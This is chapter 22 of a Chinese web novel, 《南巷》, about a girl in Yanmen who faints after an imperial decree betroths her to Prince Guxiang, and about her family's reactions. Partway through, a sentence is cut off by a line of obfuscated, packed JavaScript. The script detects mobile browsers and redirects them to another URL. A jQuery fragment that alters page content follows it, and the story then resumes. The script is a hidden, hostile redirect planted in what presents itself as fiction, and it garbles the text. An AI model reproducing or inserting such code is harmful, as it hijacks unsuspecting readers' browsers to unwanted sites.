22. 第二十二章
作品:《南巷》 已到了黄昏时分,当值了一天的太阳也逐渐落入西山,光也变得柔和起来,怨不得雁门的落日余晖遭人惦念,因着这着实是一番景色。
雁门郡守府内,苏儒贞正坐在床前,温柔仔细地拨弄着静月额前的碎发。
方才她正看着静月接过那一道圣旨,尚不知该哀改喜,忽听“咚”的一声,便看见静月直直地倒了下去,看起来不省人事。
这可把她吓了一跳。所幸,只是受了些惊又饿了会儿,一时没撑住,才晕了过去。
苏儒贞就这么守在床前,一守便是几个时辰,她握着静月的手,眼眉低垂幽深,不知道在想些什么。
静月终于缓过来了神,慢慢地睁开了双眼,映入眼帘的就是舅母的身影。
静月做了一场梦,梦里她与心仪的男子成了婚,她是很欢喜的。
但没过多久这男子就变了心,或许也不算变心吧,因这男子一字一字地清楚告诉她:“我从来都没有心悦过你,与你成亲不过是另有所图。”
他的心里从来就没有她,他干脆地走了,她的心也碎了。
大梦初醒,静月知道,梦里的一切都不是天方夜谭,这或许会在不久之后成为现实。
她该明白的,可她还是很心痛。
静月觉得很心酸,柔声唤道:“舅母。”
苏儒贞回过了神来,眨了下眼,笑意盈盈地应道:“嗯,舅母在这呢。”
静月感到了依靠,不再那么无助,她撑了撑床沿,缓缓地坐了起来。
苏儒贞塞了个枕头在她背后,好让她背后有支撑,不那么受累。
苏儒贞就这么静静地摩挲着静月的双手,双眼早已噙满了泪水,她不敢抬头,怕孩子担心。
静月就这么借着夕阳余晖安静地端详着苏儒贞。她年幼丧母,这些年来都是舅母亲自养育、教诲自己,在她心里,舅父舅母就如同自己的父母。
她就在这个大家庭中,贪恋着亲人间的温暖,摄取着他们的关爱,然后肆意地成长。
静月知道,当初她独自外出的第一天便被舅母识破了谎言,可她没有阻拦、训斥自己,只是暗暗的派人保护自己。
舒吟说,那几天舅母整宿地睡不好,直到自己平安地回来了,舅母才安了心。
静月知道自小舅父舅母就请人教授姐妹几人武功,好让她们有自保能力。
马步一扎就是两个时辰,皑皑白雪中还要薄衣练剑,鸡鸣温书从不懈怠……可这一路的酸涩,舅母受的比自己更甚。
这一道圣旨来得太过突然,让人措手不及,若是抗旨,那该是何后果?
静月担心,若是自己实在不愿接受赐婚,舅舅一定会为自己驳上一番。可天子一言九鼎,若是忤逆了他,那他们一家该是何下场。
先帝在位时,确有一人抗旨,最后以“褫夺封号,收去爵位,贬为庶人,祖孙九代终身不得受用”遂了愿。虽免了死罪,却牺牲了祖先累世的功业,往后也难有翻身之势。
静月自然不愿看到这样的局面发生在自己最珍视之人身上,她强颜欢笑道:“舅母,我可是有婚约在身了,你可快些为我备好嫁妆啊,十里红妆。”
苏儒贞看出了静月眼中的失意,可她不能点破,她只是摸了摸静月的脸颊,缓缓道:“舅母定会给我们思姚备好十里红妆,风风光光地送你出嫁。”
黄敖就这么在屋外静静地听着里面的对话,随后,无奈地叹了口气。
他拜访了宿在府中的杨肇,千言万语压在心中终归是不好受。
知道他一定会来,杨肇早已温好了酒,还准备了两道下酒菜。
“看来,你家那位小丫头醒过来了?”杨肇看了黄敖一眼,不急不忙地给他倒着酒。
黄敖面目表情地点了点头,整了整衣衫,落了座。
杨肇见他这不冷不热的态度,也不在意,自顾自地说着:“看看,这可是我从京城捎来的秋露白,好久没喝了吧,今日可要多喝些。”
黄敖看着眼前那已被斟满的酒杯,没有犹豫,直直地饮了下去。
“喂喂喂,你慢些喝好不好,这酒可是有量的,照你这么喝,一会就醉了。”
杨肇揶揄过后,拿起酒杯,轻品了一口,真是烈啊,他“咂”了一声。
黄敖一计冷眼过来,“哼!就你喝酒这样,居然还是个武将出身,还好当了文官,不然呐……”
杨肇听到这话急了眼,“你这老家伙!我这就是之前在军营了伤了身,才不敢多饮的。武将文官,你说放眼这东政国有几人同我一般,文武双全的,还瞧不上我。”
杨肇知道他这是玩笑话,只不过两人损惯了,不对着干不舒坦。
黄敖看着再被斟满的酒杯,悠悠开口道:“好端端的,这谷襄王为何相中了我家丫头?”
眼见他终于开口问了,杨肇也放下了酒杯,带着笑意开口问道:“怎么了?怕你家丫头进了王府受欺负啊?”
黄敖头也没抬,可周身的寒气却不断加深。
杨肇收回了玩笑样儿:“这事确实太过突然,只听我家夫人说是那谷襄王亲自求得的这道旨意,说是什么?”
他一时有些想不起来了,可一看到对面人那能杀死人的眼神,立马想起来了,“对对对,她说那谷襄王对你家小外甥女情根深种,才子配佳人,此生只愿得她一人心。”
眼见黄敖脸色越来越冷,杨肇心虚地低了低头,夹了个花生粒放嘴里,“这,我也是听她说的。你知道的,妇道人家总爱添油加醋,也不知道真真假假。要是真如她说的,两人情投意合,这不也是一桩……”
黄敖猛地拍了下桌子,盘里的花生粒直接乱窜了出来,他怒吼道:“简直胡闹,我家孩子一直随我在雁门,离上京,离皇宫,这么远!两人什么时候见过面,还跟他情投意合?我呸,真不要……”
雁门?雁门,雁门!
不对,不对,好像是见过的?好像是见过的!
杨肇将那一盘花生粒护在怀里,这么好的花生,不进嘴里岂不可惜?
黄敖心中气愤极了:这小子,还是个王爷,怪不得那天走的时候看起来恋恋不舍的,原来是有这个贼心,呸!
黄敖坐不住了,起身就往屋门走去。
杨肇见他要走,忙招呼了声:“咦!这么快就走了,你可消消气,别回去吓着丫头啊!”
黄敖走到门口,听到了这句话,冷冷地说了句:“不劳操心,还是多多记挂你家女儿的婚事吧!”
说罢,摔门而出。
杨肇听这门“咣”的一声,颤栗了一下,又转念想到了自家那个“小祖宗”,又一杯解忧水下肚。
谁家没个烦心事,半晌后,这屋内传出了一声无奈至极的“唉!”
黄敖当然没去找静月,他相信静月,这孩子若是心中有了中意的人,怎么会不告诉自己,可笑!
苏儒贞听着黄敖义愤填膺地诉说京中的传闻。虽说她知道杨夫人说话总爱添油加醋,可心中却是不自主的松了些气来,若这流言是真倒是好了。
黄敖重重地呼了几口气,觉得口干舌燥的,刚想倒杯茶喝,却见自己夫人笑眯眯地不知道在想些什么。
他摇了摇苏儒贞的身子,又拍了拍桌子,“夫人呐,你怎的还能笑的出来呢,谁知道这谷襄王是何品行呢,这月儿简直掉进了火坑啊?”
苏儒贞笑意不减,存心想逗逗他,“你这人,当日不是见过这谷襄王吗?哦!你还说这年轻人样貌俊朗,谈吐有礼,你二人可是相谈甚欢呢!”
况且,她还记得当日小姐妹两人玩闹间从后院冲了进来。可后来她为静月瞧了瞧,那辣椒水并没有进入眼中,因此她的眼无甚大碍,只清洗一番即可。
而且,那辣椒水稳妥的在柜台里放着,怎么就被端出来了呢?实在蹊跷啊!
黄敖就这么被戳穿了,尴尬地挠了挠头,“不行,反正婚期未定,等回了京,我定要看看这人究竟如何。想娶我家闺女,自然先过了我这关!”
苏儒贞点了点头,表示赞同,“谷襄王看起来不是不知礼数的人,婚姻大事怎能不与我们思姚商量商量,这太不合规矩,这人属实还得再观察观察。”
黄敖坐了下来,“谁能想到,这几个孩子,反而是思姚先定了亲。”
此时的西厢房内,安静非常。
静月和黄舒吟就这么面面相觑地对坐着,彼此都一言不发。
黄舒吟看着眼前人,其实她有好几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377300|199543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次都忍不住想要开口,可看着静月那皱成一团的脸,便失了开口的勇气。
她暗暗想:这到底是怎么回事啊,怎么就突然来了一道圣旨呢?估计思姚现下也很伤心,我还是不要火上浇油的好!
静月不知道眼前人丰富的内心活动,她有些恼怒——自己的婚事,好歹是自己的婚事啊!这么大的事,没有一个人同自己商量,征求自己的意见,可恶!可恶的谷襄王!
可她现在还能做些什么呢?阿姐还能与命运抗争,可自己却被一道圣旨给捆住了,这可是圣旨啊,注定要认命了。
咦?阿姐呢?静月想起来自从自己醒过来,她还没见到阿姐呢,或许,阿姐又在忙吧。
静雯没有出门。她就这么一个人在屋内静静地坐了一下午,不断地思索,不断地为自己鼓气。好几次她都下定决心起了身,可在走在屋门前,终究是失了打开它、往外走的勇气。
终于,她喝尽了茶杯中最后一口茶,然后起了身,伸出双手推开了这扇门。
茵陈就这么在屋外站着,她不计较时间,只安静地等着静雯愿意出现在自己面前。
静雯看到茵陈,没有惊讶,茵陈也什么也没说。但静雯知道,茵陈懂自己的心意,并且她是自己永远的依靠。
静雯终于向前走了,片刻后,她鼓起勇气敲响了黄敖夫妇二人的门。
两人原本还在讨论谷襄王,见有人开门,忙噤了声,见是静雯,两人都松了一口气。
可静雯无法放松,她面目沉重。
苏儒贞知道静雯心中藏了事,她隐隐有一种不好的预感,“怎么了,安寒?思姚已经醒了,你不去看看她吗?”
静雯握紧了拳头,强逼着自己抬起了头,“我一会就去看她,现在,我是有事要告诉舅父舅母。”
夫妇二人脸色一沉,紧接着便听见“扑通”一声,静雯就这么直直地跪在了二人面前。
苏儒贞被这突如其来的一幕惊得花容失色,踉跄了几步,赶忙上前去扶静雯,眼里不是不自知的泪水。
静雯鼻头一酸,还是强忍住了情绪,“舅父舅母,安寒深知,该以此后余生报答您二位的养育之恩。只是,孩子恐怕今后难以常伴二位左右。”
苏儒贞拽着静雯的胳膊想让她起来,可她忘了,这个自己一手带大的女儿如今已经比自己还高了,她哽咽着:“快起来,这么凉的地面,跪久了要伤膝盖的,先起来再说。”
静雯就这么执拗的跪着,泪水顺着脸颊落了下来,“舅母,我没事,你听我说。”这言语间也是透着一股哭腔。
黄敖上前将苏儒贞拉进了怀中,后者背过身去不住地抹着眼泪,黄敖看着静雯倔强的双眼,多么熟悉的眼神,他点了点头。
静雯抹了一把脸上的泪水,“舅父得诏归京自是好事,这也是安寒多年来日夜祈祷的心愿。
可我实在不愿,我不愿再回到京城,不愿再回到那充满了虚情假意的地方。”
多么的决绝、漠然。
“过去了这么多年,可我忘不了,忘不了母亲的离去、族人的苛待。上京的生活不适合我,我不愿当那被豢养的金丝雀,我宁愿愿做那漫天的木栾,从此绚烂一生。”
静雯不愿返还上京,这在黄敖的意料之中,方才她说的种种,何尝不是他心中的一根刺。
“虚情假意”的上京伤了自己唯一的妹妹,也伤了年幼无知的安寒。
她被伤透了心,自那以后,再不愿提起旧事,也不愿意再见旧人。
苏儒贞背对着静雯,用力地平复自己的情绪,转过了身。她将静雯扶了起来,又弯下腰帮静雯拍打着裙摆上的尘土,“孩子,那你,那你日后有什么打算啊?”话说完,鼻头又是一酸。
静雯拉住了苏儒贞的双手,“舅母,你不要为我担心。天下有这么多条路可以走,我没有那么死心眼,大好河山,我还没看过呢!等我有一日在路上累了,不想再往前走了,那时,可能我就……”
苏儒贞捂住了静雯的嘴,“安寒不说,舅母也不听,哪一天你若是累了,你回头,舅母一定在身后等你。”
静雯再也克制不住自己的情绪了,抱住苏儒贞再不松手,黄敖也上前来,紧紧地抱住了她们。

